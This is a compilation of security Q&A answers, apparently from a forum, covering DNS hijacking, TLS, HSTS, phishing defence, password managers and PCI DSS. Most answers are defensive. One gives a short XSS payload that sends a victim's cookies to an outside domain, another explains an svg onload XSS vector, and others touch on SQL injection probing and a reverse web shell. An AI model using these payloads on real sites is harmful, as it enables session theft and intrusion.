Why would the browser present the certificate for an unknown outside site?

The deal is that dnsadvantage.com is being used as at least one of your name servers and ak1s.abmr.net had a failed dns lookup (oops).  dnsadvantage provides free DNS lookups in exchange for doing a MITM attack for domains that it cannot find.  The page that it serves for these failed lookups is search.dnsadvantage.com and it displays google ads.

So try going some domain that doesn't exist like dsjfiohefoehf.com,  and you should see a dnsadvantage advertisement. If you don't,  then only one of your DNS lookup servers is from dnsadvantage,  so you might only see an ad on ~1/3rd of failed dns lookups.


Detect message tampering without shared key and without certificate authority

No The recipient must know something about the sender to detect tampering. Otherwise, there is nothing to distinguish the legitimate sender from someone who is tampering.

There are a few choices for what the recipient knows:

Shared secret key - to produce a MAC
Sender's public key - to verify a signature
Trusted third party's public key - to verify a certificate, and then a signature


Storing UK bank account and sort code in MongoDB database

HTTPS is mandatory of course. But there are a lot more of security options. I can provide you some basics:

Server technologies

You should implement HSTS (Http Strict Transport Security) to force clients to use your HTTPS connection.

You didn't specified what is your back-end technology (Java, PHP, etc). You should update your server to the latest versions to avoid known exploits. For example in case of PHP, old versions have a lot of possible exploits.

You should configure your perimetral firewalls to avoid DoS (Denial of Service) attacks as we'll see later, but you can avoid some very basic and known DoS attacks like for example Slow Loris only hardening your server configuration.

Disable banners and server signatures as much as possible in order to try to make harder identification of your software and version (O.S., web server technology, etc).

Code

Is your backend injection proof? You must be pretty sure about filtering and sanitizing "dangerous" chars to avoid XSS, SQL injection and other possible attacks. This is one of the more important points.

CSRF attacks must be avoided. You should perform a correct session handling with some kind of mechanism (usually session hashes, tokens or similar) to prevent this.

Perimetral Security

WAF (Web Application Firewall) is a good option to try to filter a lot of attacks against your site. Anyway, this must be a complement of secure coding. Never the security must depend only on this element.

IDS/IPS (Intrusion Detection System/Intrusion Prevention System) are mandatory (in my opinion) if you are managing sensible information like bank accounting data. You must be able to detect/prevent attacks.

There are more... but as a start is enough I think. :)


In TLS1.2 AES-GCM mode, what happened when input is not exactly the multiple of its block size?

The core of GCM is CTR: successive values of a counter are encrypted with AES (each value is represented over a 16-byte block), thus generating a key-dependent pseudorandom stream. Actually encryption (and decryption as well) is done by XORing that stream with the data to encrypt. The XOR is done bit by bit and can be stopped at any length without any need for padding.

(CTR mode is really about turning a block cipher into a stream cipher.)


What is the difference between CERT C secure coding standard and other coding standards?

CERT C is specific guiance on writing "secure and resilient software in C and C++". The focus is on language specific advice on what to do and what not to do with what is a very powerful language that assumes you know what you are doing.  Note that these languages are often used in writing low level code for infrastructure devices, or for embedded systems, so it is vital that they are well written.

PCI-DSS is specific to the payments industry and is a mixture of practice and policy statements that are not code specific. Worth reading if you store credit card information, or for general information on good security practice, but not directly related to you otherwise.

The CWE Top 25 is a list of the most common software mistakes made by people writing software regardless of language or purpose.

The OWASP Top 10 is the list of most common vulnerabilities in web based applications, which includes non-coded vulnerabilities.

NIST SAMATE is part of a software assurance framework. It details the processes and practices around ensuring that a software product does only what is intended, and is free from tampering.

So in short, DO use CERT C for your C and C++. And read and incorporate the Top x as appropriate to your software products.SAMATE is far bigger than your task at hand.

Last time I was starting out greenfields (2006) we used a book called "The Elements of C# Style" as our standards bible. We only used it to settle disputes where the team could not agree on an approach. I don't know if it reflects the latest version of C# though.


Why is breach-detection site "Have I Been Pwned" considered safe?

This article by the service's creator may answer some of your questions.

https://www.troyhunt.com/here-are-all-the-reasons-i-dont-make-passwords-available-via-have-i-been-pwned/

Specific details that might be of interest:

Passwords are not stored along with user details because there is no such thing as "secure enough" storage for this kind of thing
Have I Been Pwned? won't tell people their own passwords anyway, even if the account ownership could be verified
Some more sensitive breaches - Ashley Madison being the first such breach - are kept more discrete by only disclosing that an email is in the breach corpus after confirming you control the address

Here's an additional article covering the Pwned Passwords feature:

https://www.troyhunt.com/ive-just-launched-pwned-passwords-version-2/#cloudflareprivacyandkanonymity

Of note, Pwned Passwords as the downloadable list provides only Hashed Passwords. There is some question as to whether this constitutes a password dictionary that can be exploited, but given it doesn't associate the passwords at all with who used them or where - reversing them to use them just wouldn't be that valuable. And while some may not consider this a satisfactory answer... these passwords are already out there.

The most recent "Collection #1" breach, with over 12,000 sources is evidence enough that Have I Been Pwned is not the only one aggregating this type of information. And the competition does not have your best interest at heart.

Pwned Passwords as a lookup service uses k-anonymity to provide some safety. It works basically like this:

You hash the password with the same algorithm Pwned Passwords uses (SHA1)
Submit just the first 5 characters for the hash, which given the sample size of the database will return many results for any given 5-character combo
You search the returned list to see if any of the results match your hash from the first step

I can't see the future, so I don't know if this collection of information will ever become exploitable in any meaningful way... but as far as I can tell, Have I Been Pwned is provided as a useful service provided for virtually no gain, in the interest of public safety.


What are the risks associated with SSL interception in an Organization?

Compromising your root or intermediate CA is going to be easier than compromising a commercial CA, so it decreases the cost of mounting an undetectable to the user man-in-the-middle attack on HTTPS connections when your employees are directly connected to the internet (e.g. coffee shop wifi). I don't see this as being a very large threat.

There is the obvious increased risk to users from a malicious employer / sysadmin / compromised proxy server - the attacker can now intercept and steal all of their personal social networking/email/bank credentials.


Wouldn't looking at the address in the URL address bar in your browser defeat "tabnabbing"?

You are correct. One glance at the URL bar would defeat tabnabbing and many other phishing tricks. What makes tabnabbing special is when a user is in the habit of checking the URL after clicking a link, but not when switching tabs. The correct moment to check the URL is just before entering your credentials.

If there is www.google.com in the address bar and there is a green lock icon indicating that the page is encrypted, you can be sure you are connected to www.google.com. If the page is not encrypted, it is possible that a hacker made www.google.com point to his own server. This is not something that can be done by anyone on the Internet, but it could be done by someone on the same network (e.g. WiFi network) as you.


A possible fix is to totally disable all non-RC4 cipher suites. This will break connections from clients who have elected not to use RC4 (possibly, these would be quite rare), but at least it will guarantee that if a connection is made at all, then it will use RC4, which is immune to BEAST.

In true SSL/TLS, the server is supposed to follow the client's order of preferences: the list of supported cipher suites sent by the client is ordered, and the server should choose the first suite in this list that it also supports. The mitigation for BEAST that you are looking for is actually a way to make your IIS somewhat discourteous; it seems that Microsoft did not provide a setting for that in IIS 6.0.

Note that Web browsers may also include a fix, called record splitting. See for instance this fix from Microsoft; it appears that an up-to-date Internet Explorer will split the records by default, and thus be immune to BEAST, even if a CBC-based cipher suite is used. Therefore, one way to fix your potential BEAST-related vulnerability is to do nothing and let the clients fix their browsers, which they should anyway (a Web browser which is not up to date, that's another name for "suicide"). After all, the BEAST attack is an attack on the client.


What information can my ISP see using squid proxy?

Effectively they can see everything you do that's not encrypted or sent through a tunnel and in many cases they can see what type of traffic that is too via DNS. I'll list a few examples:

What sites you frequent.

When you're active on-line.

What operating systems you use and in many cases what software you use.

How often you patch your computer.

The firmware of mobile devices can be detected via http user-agent strings.

Who you bank with.

Social media habits.

They can use this info to do political profiling, or profiling for marketing purposes.

In some cases which types of IoT devices you own.

They can geo-locate almost every packet you send and where it's going too.

If you go beyond the Squid proxy you can also include the following:

The DNS lookup for every website you visit and the domain for every message you e-mail. This includes DNS lookups when you go to HTTPS websites.

clear-text SMTP mail (all of the message when sent in the clear).

Types of activities like torrenting files

Connections to the Tor network

Common traffic patterns sent through encrypted tunnels. ( i.e. downloads vs chat )

An additional note regarding HTTPS is some websites have mis-configured settings such that cookies are sent via clear-text HTTP. So in that case they would get copies of those too.

IPv6 connections your devices may make including HTTP or HTTPS over IPv6 if your ISP supports it (Many do).

etc...  Some ISP's record pretty much everything.

Aside from the DNS requests and cookie leaks the rest of your HTTPS traffic should be relatively private.

It's very unlikely that they would MITM your connection but this depends on what country you are in (it does happen in some repressive regimes). That said if you weren't careful about not accepting certificates or installing any software they provided it could happen. Some governments have required citizens to accept a key they can use to decode traffic if this is the case ALL of your traffic is visible. This is rare but I don't know where you are from so I thought I'd mention it.


OAuth 2.0 Resource Owner Password Grant - Handling of Access Token Upon Logging Out

I don't understand what you mean with Oauth holding the user credentials. That should not happen. User credentials should only flow between the user and the authorization server.
Yes.
Yes. I think it is the expected behavior.


How can Joe Citizen report or at least hamper a phone-based PC scammer?

I've had this happen to me before and realizing to them that their time is money, I decided to take them on a little ride (it was a Sunday and I was bored...don't judge me).

Basically I pretended to be a complete computer luddite - kept them on the phone for a good hour pretending like I had no idea what I was doing. I could't find the event viewer, didn't know what a browser was, didn't know if I was on a Mac or PC (or maybe this is an iPad, I'm so computer illiterate I don't even know!). They wanted to do a remote session and I didn't know I could do that, etc.

While I can't provide any insight on how to track who's calling you (and truthfully, they're probably in a location where nobody even cares that these calls are happening) but I can tell you that listening to the caller get so frustrated that he gave up was worth it to me. I have yet to receive another phone call of this nature.

As they say, Trolling is a art :)


How to change font so simillar characters can be distinguished in Keepass 2?

You can choose one of the available fonts by following this path:

Tools/Options

Once there, choose the tab called Interface.


What is the risk if I don't have a passphrase associated with CA private key?

So, the cost of loosing control of your CA is that you would need to make the compromise public, eliminate that CA from all trust stores, and reissue all certificates that are currently valid and signed by that CA.

So... how certain are you of any given security control on the key pair in light of that expense?

The answer varies widely due to the risk/value/scope of what you are securing with your CA.  If this is three servers in your basement and three mobile phones used by you and 2 friends, the scope is much different from a commercial grade CA system, a corporate CA system or a defense system...

In most of my experience, the cost of securing a CA key pair is minor in comparison to the cost of loosing face, having to reissue every cert (that includes refreshing CRLs and OCSP servers, if applicable), and having to update every trust store... not to mention contacting any other parties who were relying on your trust store, or going public about a data breach in your security infrastructure... but then I like high stakes systems.

In my experience, the CA systems I work with go a lot farther than a password on the key pair.  Root CA keys are kept offline and under two man physical access control with heavy auditing.  Intermediate CAs are heavily secured behind firewalls, DMZ's, heavy auditing of access, separation of control, and FIPS grade hardware that keeps the key on a box that is tamper resistant and TEMPEST secure.  But I admit - I work with CAB certified, or govt. grade systems... I don't run small scale CAs.

Mileage always varies depending on risk.  If it was a 4 hour job to rekey/reset trust and you think it will be 1 hour of pain every week when you've forgotten your key pair password and had to go crack it or dig out a locked up password... then if you only estimate rekeying due to break-in as a once a quarter event, you probably save yourself the hassle by NOT setting a key password.  (1 rekey = 4 hours, 1Xweek for 12 weeks of lost password recovery = 12 hours... )


Can any Google Play Store tampering be detected?

You would need to manually check that the signature is from the application developer.  Google shouldn't have the private key that the official release is signed with.  Google however could easily make their own signature as they are the signing authority for the Play store, however the new signature wouldn't match up with the certificate for the official application unless Google somehow has the private key the application author used for signing the official version.


Does the ATA Trim command irrecoverably delete data on an SSD?

The trim command does not delete the data but simply marks a block of data as currently unused by the OS. It will probably return the block as zero if asked by the OS (although I don't know if this is guaranteed) but internally the data might be still there and could be extracted when accessing the flash storage directly, which is usually not possible by the OS but can often be done by computer forensic experts. When (and if at all) the block gets reused, i.e. overwritten with new data fully depends on the logic in the flash controller and how much data get written at all and how much this block was written already. Since a block of flash will wear out after too much writes the controllers usually prefers to write "fresher" blocks first and thus it can take a long time before a block gets reused for writing.


Is it good practice to mandate input action on the password field in a webapp?

If you want to ensure (or at least make more probable) the fact that your user is indeed sitting on the other side of the browser, you should implement multifactor authentication.

As @Jay mentioned (and I fully agree, per my comment) disabling the ability to fill in a password is a terrible thing to do. It is not user friendly and does not help security.

UPDATE: incidently, I just stumbled upon an interesting article right about the same subject (from 2014).


Is there a decentralized version of LastPass?

Working off of your three bullet points, I'll address KeePass.

  a multiplatform program / browser extension, that works just as seamlessly as LastPass

Multiplatform: the official KeePass 2.25 support Windows XP through 8 plus Mono (i.e. Linux, FreeBSD, MacOS).  There are a variety of ports, including KeePassDroid for Android, some for iPhone/iPad, Blackberry, MacOS, J2ME, Linux native, etc.

Just as seamlesly: Not as much (unless the browser extension does this for you), though if you master the "URL" field you can do things like simply switching to the KeePass window and let AutoType and/or Open do it for you - as a non-browser Windows example, you can hit Ctrl-U to open up a Remote Desktop window to the target, switch back to the KeePass window and press Ctrl-V to AutoType username and password; then you're in.

  said extension would work in a "decentralized" way one solution I can think of is that it would let me select a file where the passwords are saved and encrypted with a "master" password, and I would share the file online via, say, DropBox

KeePass definitely lets you choose a file for each database, and you can share it via DropBox.  KeePass 2.x also natively supports databases via FTP, HTTP and WebDAV, and has a plugin for SCP, SFTP and FTPS.  Multiple machines can have the database open for write at once - it asks to synchronize when it detects another alteration as you're saving your own alteration.

KeePass also allows multi-factor authentication (i.e. passphrase + a key file or hardware token), which I would really recommend if you're making your database available to other parties - that way if you accidentally type in your KeePass database password into your DropBox login, someone at DropBox won't have everything they need to open your file.  I say this because you mention you're worried about LastPass's integrity.

  being 100% open source would be nice

KeePass is GPL licensed.

P.S. if you do use KeePass, upon creating each database, please go into File, Database Settings, Security, Key transformation rounds, and change that to a large number (start by pressing the "1 second" button/link and then multiply whatever that is by 2 to 12 or more; even on a decent smartphone ten million rounds doesn't take but a handful of seconds, and it'll slow an attacker down quite a bit.

P.P.S. you can also change a global setting on the main Windows KeePass program under Tools, Options, Security, Enter Master Key on Secure Desktop.


Can a password cracker reverse engineer my generation method?

In theory, one could make a program that generates lots of password generation algorithms at random (or somehow systematically) and then apply them to a variety of different seeds until it break the code.  In practice, this would be very slow depending on the strength and uniqueness of the algorithm.  It might be better to get a good cryptanalyst take a look at the passwords and take educated guesses. In general though, you shouldn't depend on obscurity to protect your security.


ssl-cert common name and Alternative name in Nmap output

The target you scan is the name you have. This name gets translated to an IP address and this IP address then is used for the connection in nmap. But, an IP address can actually be resolved from many DNS names.

The names returned by nmap are the ones which the server returns inside the server certificate of the TLS connection. While there might be overlap with the name you give it does not need to be. Such differences occur for example if multiple DNS names point to the same IP address (and you have just chosen one of these) or if the server is configured in a way you did not expect. For example the certificate might return names which resolve to a totally different IP address in case the service is not intended to be reached directly but should only be reachable by a CDN or load balancer.


If you pop that script into a base64 decoder you get:
https://gist.github.com/anonymous/914d5c5a82252dc0235995e32147c9d9

This is a reverse web shell that gives a lot of access to the server. So far, I see Server Security Information, PHP information, a PHP shell, a File Manager for uploading and downloading malicious files, a server wide search function, and an SQL browser.


How and where to begin on the Return of Web Application Security Investment?

Look at the Microsoft Security Development Lifecycle.  This is one of the seminal and best-in-breed approaches to secure software development, and Microsoft has generously provided a great deal of material, resources, and tools to support the lifecycle.

Also, take a look at the Building Security In Maturity Model (BSIMM).  BSIMM doesn't tell you how you should do secure software development.  Instead, it provides a way to measure the maturity of your software development processes on a dozen different dimensions.  The great thing about BSIMM is that it has been applied to dozens of other companies, and data is available about where other companies rate, so you can compare yourself to other companies in your industry sector to see how you are doing.

If you want material specific to web security, you might start with OWASP.  They have many resources, tools, and documents on web security.

There are many other resources out there, but I think you'll find these a great start.


XSS cookie Stealing with Character limitations

var xhr=new XMLHttpRequest;xhr.open("POST","https://{short_domain"),xhr.send(document.cookies);

You have here around 90 characters (depending on the domain URL you are calling), no JQuery and AJAX call.

Unfortunately this solution assumes that what could be done wrong regards security, was done wrongly: No input validation (whitelisting), no output encoding, cookies without http-only flag, no Content Security Policy. I hope no such a page exists.


Understanding the HMAC Algorithm (SHA-256)

I've written simple python3 script to illustrate:

from hashlib import sha256
opad = bytes(0x5c for i in range(64))
ipad = bytes(0x36 for i in range(64))
print(sha256(opad + sha256(ipad).digest()).hexdigest())

The output is identical to the string you seen on wiki.

I've checked and I can confirm that your results can be obtained if we concatenate opad with hex-encoded hash of ipad. You should concatenate pure bytes there instead.


Securing Admin Login by only whitelisting a dedicated vpn ip

In addition to the excellent suggestions by Conor Mancone in the comments, you might want to consider the following:
Is the protected admin URL within the domain of a larger website that is open to the public (e.g. https://www.yoursite.com/admin)?  If so, you may want to make the admin site entirely separate from the public site, with a different subdomain for the admin site (e.g. https://admin.yoursite.com/ as opposed to https://www.yoursite.com/admin).
This has several security advantages:

The admin site will benefit from same origin policy (SOP) to protect against CSRF and XSS attacks possibly launched from the user site, being that the sites will have different origins.

By making the admin site separate from your user site in your web server configuration, you may be able to configure a higher level or SSL/TLS security for the admin site than that of the user site.  This also gives you the option to deploy client certificates for the admin site, as an another layer of security in addition to IP whitelisting.


SQL-injection, unable to get it to work!

When exploiting SQLi, I personally start with as simple query as possible and go one step further with every request.
So I would start with

SELECT 1
SELECT 4-2
SELECT 'a'
SELECT concat('a','b')

And so on. This way you will know exactly which part of your payload needs to be fixed: encoding, quotes, db specific syntax and lenght limitation are a few from the top of my head.


Most likely you are able to reach it because 192.168.x.x or 192.168.1.x is your local network. This means the IP addresses within this range are accessible directly, and there is no need to use the default gateway.

You can use "route -n" on Linux to see the route map (on Windows I think it is "route print" but I can't check it now).


TLS 1.0 and TLS 1.2 enable simultaneously

Yes, you can have simultaneous support for TLS 1.0 and TLS 1.2.

Which one will actually be used will depends on the other end too.

Configuring 1.2 everywhere will make it work with 1.2 but you can also let 1.0 be on just in case you missed a device that still uses 1.0.


how to create a wrapper for an executable file

Windows executables interacts with OS  (WinAPI) functions through system DLLs. Without modifying the exe, one trick is to hijack those calls - search for "dll injection".


How can I modify Windows registry programmatically?

You can use any programming languages that provide access to Win32 API: C++, C#, Visual Basic, Java, Python and many others.


Although Conor is correct in his assessment of the entropy of payment cards and hashing, PCI DSS is very clear, that a hashed PAN in an environment where the PAN does not exist (e.g. the third party you have sent it to) is not considered cardholder data and does not require PCI DSS's protection. This is detailed in the PCI SSC FAQ number 1089 and for completeness here's the relevant quote:

  If the hashing result is transferred and stored within a separate environment, the hashed data in that separate environment would no longer be considered cardholder data and the system(s) storing the hashed data would be out of scope of PCI DSS.

The URL for the FAQ is https://pcissc.secure.force.com/faq/articles/Frequently_Asked_Question/Are-hashed-Primary-Account-Numbers-PAN-considered-cardholder-data-that-must-be-protected-in-accordance-with-PCI-DSS

Typically the third party will provide you with a salt to use, and if they don't then I’d think carefully about their security competence....


SSO - What should happen when the user clicks "Log out"

This is one of those places usability and security cause radically different answers.

From a usability standpoint I have observed the following arguments:

When I logout on Site a I only logout form here and I can keep on using the other locations I am still logged into.
When I press logout on Site a I actually only get redirected to Site b (the portal) and only when I log out form there I am actually logged out. (mostly used in the context of an intranet or similar environment)

From a security standpoint I have observed the following arguments:

When a user does a Logout, immediately invalidate ALL sessions for this user and log him/her/it out from any and all systems part of the SSO.
When a user does a logout, inform the SSO provider and do not allow any new sessions and logout of the current application. but there is no implicit logout to all systems in the SSO. (usually mitigated with short session times / cookie lifetimes). This can be a technical limitation due to the technologies involved (and/or licenses)


What is the core purpose of a firewall on a linux server that is connected to the internet?

In my setups the purpose is to prevent accidentially opening ports to the public which could allow random attackers to do bad things. For example, you could test configuration of an email service which comes as an open relay out of the box. If there is no firewall and you forget to turn it off you are spamming probably after a few hours already.

Any kind of software can open a port, sometimes you dont know. So thats why I like to have a global firewall where I explicitly can allow certain minimum ports to be accessible.

Start with only having SSH enabled (and direct root logins disabled of course), and then only open new ports if the service to be exposed is fully configured and hardened.

In the end, as you say, there might be only 4 or 5 ports opened in the firewall, all the other connections will be refused.

Note also that a firewall can be configured to deliver RST packets instead of silent drops (with REJECT policy). This is more compliant to RFCs of course, and still does not expose any risks. If you want to slow the scanner, then of course, use DROP policy.


Does Google hand over captcha IPs to webmasters?

To actually answer your question, no, Google does not provide the IP address of the user back to the original website. According to the developer documentation, Google will supply the website with a JSON object basically containing either true or false.

{
  "success": true|false,
  "error-codes": [...]   // optional
}

But none of this really even matters, because recaptcha does not have any special powers that allow it to get a user's real IP address when behind Tor. Even if it did supply the user's IP address, it would only know the IP address of the Tor exit node, which CNN already has from you visiting the page.


How to know if someone has decrypted my encrypted drive?

Unfortunately there is no way of knowing that the disk was not accessed and decrypted.

As you said, if the disk content was changed, this would prove it had been accessed logically (and, hence, decrypted).

But what if the content did not change?

When attempting to perform decryption (or any kind of forensic analysis) on a disk, the first stage involves cloning it onto a new hard disk, and operating on the copy. So the only change in the original hard disk is a bit more wear and tear, which can be accessed through the SMART interface - but to check it reliably you need to have a SMART status save from immediately before the theft and another to compare taken immediately after recovery.

This could supply a negative proof (i.e., if the "Power On Hours" counter had not increased, the disk was not powered on and so we know it cannot practically have been copied.

But if the counter went up, this only proves that the hard disk was powered on, not that it was read. The "Read Data Counter" is not available on all hard disks). Of course, power on time gives an idea of how much data could have been transferred (but, again unfortunately, this counter usually has a granularity of one hour. In one hour, much could have been copied).

To sum it up:

Observation                            Decrypted?
=================================================
SMART power-on count (POC) unchanged   SURELY NOT
SMART POC increase, read count unchg.  SURELY NOT
...
...   (a vast area in between)         WHO KNOWS?
...
Logical disk content changed           SURELY YES

However, disk-level encryption (VeraCrypt, BitLocker, etc.) is usually very secure, so unless you left the password accessible, I would not worry too much.


Port forwarding with 0.0.0.0, any threat?

In a default scenario (one internal, one external network) this will not harm you! You are using PAT so the rule is still bound to a specific port and does not put your network in danger.

If you have more then one external network attached you might have to think about it again. In that case you whould have to decide if the forwarding rule should be applied to both or just one external network.


Why do some websites enforce lack of SSL?

There are some reasons (not necessarily good reasons, but reasons nonetheless) to prefer HTTP over HTTPS. If these reasons apply, then it makes sense to enforce HTTP usage even when the client appears to want to use HTTPS.

A (usually) bad reason for preferring HTTP is one that is commonly uttered in such a debate: SSL is often assumed to be heavy, both for the computational cost of encryption, and because of its consequences on caching (though it is possible to cache pages served over HTTPS, the SSL layer prevents some tricks such as transparent proxies, that are commonly applied by ISP). The computational cost is overrated (it used to be a bottleneck in the times of 3DES and 90 MHz Pentium machines with fast ethernet, but things have changed since then). As for caching, one point to make is that it is increasingly irrelevant when pages become more dynamic.

We may imagine, though, that Ebay wants to encourage widespread ISP-based proxying for all the item pictures that they serve. I can easily conceive that these pictures eat up a substantial part of the network bandwidth of Ebay. Enforcing plain HTTP maximizes the probability that caching takes place, thus saving money on Ebay's side.

A less bad reason for preferring HTTP is to allow easier automatic scanning of data for unwanted content and intrusion detection. SSL is end-to-end, so if such scanning is applied in an HTTPS world, then it must happen at one of the ends, which may be inconvenient in a given big architecture.

As for the privacy of your browsing habits, I don't think that Ebay gives a fig about it. In fact they are, by construction, quite eager to learn, analyse, profile, and possibly sell away your browsing habits (advertisers pay for such information). So it does not seem reasonable to really expect Ebay to actively protect your privacy, since part of their business model is the exact opposite.


How to convince employees not to click spam links in their email accounts?

Yelling at employees rarely results in people engaging in the desired behaviour. Make no mistake, your goal here is the changing of their behaviours, not convincing them of a fact.

First, you need to make sure they know what to do when they receive an email with a link (hover and read).

Second, you need to give them a chance to practice this new behaviour in a safe setting (training materials, lectures, practice software).

Third, you need to support them when they are faced with their inbox alone.

Simulated phishing campaigns can help if you use the correct context (education instead of punishment).

I would also suggest having your email server include text at the top of emails from external sources highlighting the fact that the email is external.

Remember, you need to support and encourage people to engage in the behaviours you expect from them, especially when that behaviour is voluntary (like handling links in random emails).


What are effective ways to prevent targeted phishing?

I am assuming that the bank wants to protect its customers from phishing.  (Not its employees; that's a different problem, and if you want to know about that, you should ask that one separately in a different question.)

The bank should take several steps:

Avoid emailing out links to the site.  Go clobber the marketing team and get them to quit doing that.
Don't rely too much on passwords.  Use machine authentication, too.  For instance, you might use a secure persistent cookie, a Flash cookie, or some kind of fingerprinting of the user's browser and machine.  Passwords are inherently insecure against phishing.  The advantage of machine registration is that it authenticates the user's browser with a secret the user doesn't know.  If the user doesn't know the secret, the user can't be tricked into revealing it.  With the combination of machine authentication plus a password, the machine authentication does most of the authentication work, and the password just enables one to distinguish between the user and their roommate/spouse/child/etc.

Don't rely upon challenge questions to authenticate the user when the user logs in from a new computer.  Studies have shown that phishing sites can capture the answers to challenge questions, just like they do passwords.  Consider other methods of registering a new machine, e.g., email-based authentication.

Use back-end fraud detection methods, to detect malicious use of a stolen password.  You can look at whether this is a type of transaction the user has performed before, to a payee they have transacted with before, whether the amount is large or not, whether the user IP address and geographic location and browser fingerprinting looks like one that has been seen before, and many other statistical measures.
Participate in anti-phishing working groups.  Work to take down phishing sites quickly.  Support use of phishing blacklists in users' browser.  If a user logs in with a browser that is so old that it doesn't support a phishing blacklist, give the user a message that encourages them to upgrade their browser and gives them an easy link to do so.

Participate in anti-fraud working groups, and pressure the banking community to shut down global banks that facilitate online crime.  A recent study found that just 3 banks accounted for monetization of 95% of spam; if those 3 banks were shut down or cracked down on spammers, we might see a huge decrease in spam.  There is reason to believe that a similar phenomenom may hold for other elements of the underground economy, too.  Making cybercrime less profitable will benefit bank security across the board (not just in phishing), so is a promising angle.

Use site-wide SSL for the entire site and your entire online presence.  Buy an EV cert.  This gives users an extra cue (the green glow) that may help some alert users notice when they are under attack.
Enable Strict Transport Security (HSTS).  This tells browsers to only connect to you via HTTPS.  Paypal uses it.  You should too.  It is supported in recent versions of Firefox and Chrome.
Don't put padlock icons on your pages (e.g., positioned next to login forms), or otherwise spoof chrome elements in the content of your page.  When you do that, you are training users in a way that makes phishing attacks easier.
Digitally sign all email sent to customers.  There is some reason to believe that most customers have software that can check these signatures, and the signatures won't cause problems for the software that doesn't check the signature.  (Thanks to @AviD for this suggestion.)
Don't use SSNs for authentication anywhere in your business.  Make it less valuable for phishers to steal SSNs and other personal information.


Once C's browser has established that S is a known HSTS host (either via its preload list or by having previously received a valid Strict-Transport-Security header), self-signed certificates and similar security problems produce errors that the user can't simply click through.

https://tools.ietf.org/html/rfc6797#section-12.1

So the answer to your question "who cares, really?" is "the browser".

Of course, this attack could succeed if C hasn't yet established that S uses HSTS - that is, if this is C's first attempt to connect to S, and S isn't in the browser's preload list.


Why doesn't SSH use a better algorithm for encrypting keys?

This is a difficult question to answer, since there's no technical reason why this is true, so you have to speculate why the developers haven't chosen to address the problem.

There's a couple of possibilities, but mainly it's one of compatibility.  SSH is 20 years old now, and has had a stable format for key storage for a long time.  If you suddenly changed that and made brute force attacks far more difficult, you'd break compatibility.  Everyone hates breaking backwards compatibility, so you'd better have a good reason to do it when you do.

Also, consider that the ssh key format is around 20 years old now.  That's 20 years of Moore's law.  In 1995 a high end computer was a pentium 133.  In 2015 we have multi core processors running at 1.8 ghz.

If you look at code cracking speeds of 1995 vs 2015 for RC5, you'll see 246,000 crypts/sec for a Pentium 133 in 1995, vs  6.1 billion for a modern Athlon multi-core processor.  That's 25,000 times faster.  So you can see why when the standards were created 20 years ago brute forcing passwords wasn't as much of a concern.  Obviously it is now, but backwards compatibility makes the switch not as easy to simply create it.

The other reason is that people consider private keys to be something that attackers don't have access too, and can be kept "safe".  If discovered, they can be replaced.  That's probably more of a bias towards believing that keys can be kept safe, and discovered if stolen, despite many break-ins being discovered long after they happened.

Ultimately there's no good technical reason why a better key derivation algorithm couldn't be adopted, it's more likely that nobody has made a stink about it in the SSH world.  That's normally how long lived standards get changed.

TL;DR Increased brute force speed in the past 20 years has made passwords require more and more entropy.  Using better techniques to generate passwords from can mitigate the vastly faster CPUs we now have, but the need for backwards compatibility has delayed moving towards better password deviation techniques.


Question about HTTPS & Client side tampering

Sounds like you have configured BurpSuite to allow monitoring of HTTPS traffic. According to the documentation:

By default, when you browse an HTTPS website via Burp, the Proxy generates an SSL certificate for each host, signed by its own Certificate Authority (CA) certificate. This CA certificate is generated the first time Burp is run, and stored locally. To use Burp Proxy most effectively with HTTPS websites, you will need to install Burp's CA certificate as a trusted root in your browser.
Note: If you install a trusted root certificate in your browser, then an attacker who has the private key for that certificate may be able to man-in-the-middle your SSL connections without obvious detection, even when you are not using an intercepting proxy. To protect against this, Burp generates a unique CA certificate for each installation, and the private key for this certificate is stored on your computer, in a user-specific location. If untrusted people can read local data on your computer, you may not wish to install Burp's CA certificate.

So essentially, BurpSuite is performing a man-in-the-middle attack, taking advantage of the fact that it runs on the local machine and installing its own certificate.
In the normal use case, BurpSuite is not installed on the client machine, and the hacker does not have any ability to install root certificates. Without this ability, the hacker would be unable to perform a man-in-the-middle attack without triggering a security warning in the browser, which would look a bit like this on Chrome:

To answer your questions:

Did the devs drop the ball and present it in plaintext for the client to easily tamper with?

No. The protocol is working as intended. It will protect you from Man-in-the-Middle attacks launched on the network. It will not protect you from a Man-in-the-Middle attack launched by a process running on your local machine with sufficient authority to install certificates. There is no technology in the universe that can protect a machine that has been locally compromised in this fashion.

Would this be encrypted if the HTTPS was properly configured?

Yes

Because im intercepting requests locally from my own machine, HTTPS has no benefit until the request flies off across the network/transmission?

Correct.  HTTPS in general does not protect you from local access (after all, the Chrome dev tools also let you see the traffic); it protects you from a listener on the network attempting to eavsdrop.


Not really,
The only who can sniff data is the last node between the three. And even then, it can't tell who this data belongs to unless this data contains identifying information.
The reason the others can't sniff is that Tor uses onion routing, as its name suggests. That is, when you send a request to a certain server, and suppose it's going to pass through nodes A, B and C, the message is first encrypted using C's public key, this encrypted message is encrypted with B's key, and this double encrypted message is further encrypted using A's key, then transmitted to A, and as each node receives it, it unlocks its own layer of encryption, and passing it along, without being able to know what's further inside.


Does access to a BISmark router mean access my network?

We can understand your concerns. We do have the ability to ssh in to your router, yes, but access is limited to 4 people, and it is only done for trouble shooting purposes.

The goal of BISmark is to enhance our understanding of broadband networks. We do not collect any personal (PII) information. We are simply not interested in it. We are interested in how your network (access link, wireless network, etc) is performing.

All our experiments are vetted by the Georgia Tech Institutional Review Board (IRB).
Please address further concerns to bismark-core@projectbismark.net


Why the following XSS vectors work without closing bracket?

If you view how your code is actually delivered by the server (for example by using the "view frame source" context menu in Chrome for the white frame in jsfiddle) you can see that it is embedded in some other code like this:

<body>
  <svg/onload=alert(1)

  <script>

This essentially means that the full HTML element seen by the browser is starting with <svg and ending with >. The < will be not considered as the beginning of a new HTML element since the existing element is not yet closed.

<svg/onload=alert(1) <script>

After fixing up the browser will likely interpret this as <svg onload=A B> where A is alert(1) and B is <script, thereby executing your payload A and ignoring the attribute B since no behavior is defined for it.

As for the details how the parsing is done see the HTML5 syntax definition which describes the parser in detail. By following the standard you will end up with:

initial:    "data state" (8.2.4.1)
'<svg':     move to "tag open state" (8.2.4.6) and then "tag name state" (8.2.4.8)
'/':        move to "self closing state" (8.2.4.40)
'onload':   parse error, go do "before attribute name state" (8.2.4.32) and
            from there to "attribute name state" (8.2.4.33) and read the attribute
'=':        switch to "attribute value state" (8.2.4.35)
'alert(1)': read attribute within "attribute value (unquoted) state" (8.2.4.38)
